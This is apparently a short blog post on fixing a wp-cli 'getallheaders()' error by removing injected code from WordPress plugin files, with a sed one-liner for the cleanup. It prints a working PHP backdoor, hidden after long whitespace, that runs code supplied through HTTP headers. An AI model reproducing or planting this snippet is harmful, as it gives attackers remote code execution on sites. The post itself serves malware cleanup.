Fixing ‘Call to Undefined Function getallheaders()’ and Removing Malicious Code in WordPress

This page has had its content updated on March 7, 2025 EST by Jordan

Introduction

You came here because you’re running a wp-cli command get the following error

PHP Fatal error:  Uncaught Error: Call to undefined function getallheaders() in

Removing Malicious Code in WordPress Plugins

In the case I was dealing with, all of the plugin files ending in .php had malicious code within them. Here is a good example.

<?php                                                                                                                                                                                                                         $_HEADERS=getallheaders();if(isset($_HEADERS['X-Dns-Prefetch-Control'])){$include=$_HEADERS['X-Dns-Prefetch-Control']('', $_HEADERS['Content-Security-Policy']($_HEADERS['If-Modified-Since']));$include();}

/**
 * Custom Post Type UI.
 *

You can remove this code by running the following command via SSH

find wp-content/plugins/ -type f -name "*.php" -exec sed -i '1s/<?php.*/<?php/' {} +

Your WordPress Site is Infected, Proceed with Clean-up

At this point, it’s clear your WordPress site is infected and you should go through everything and make sure that you clean up the infection.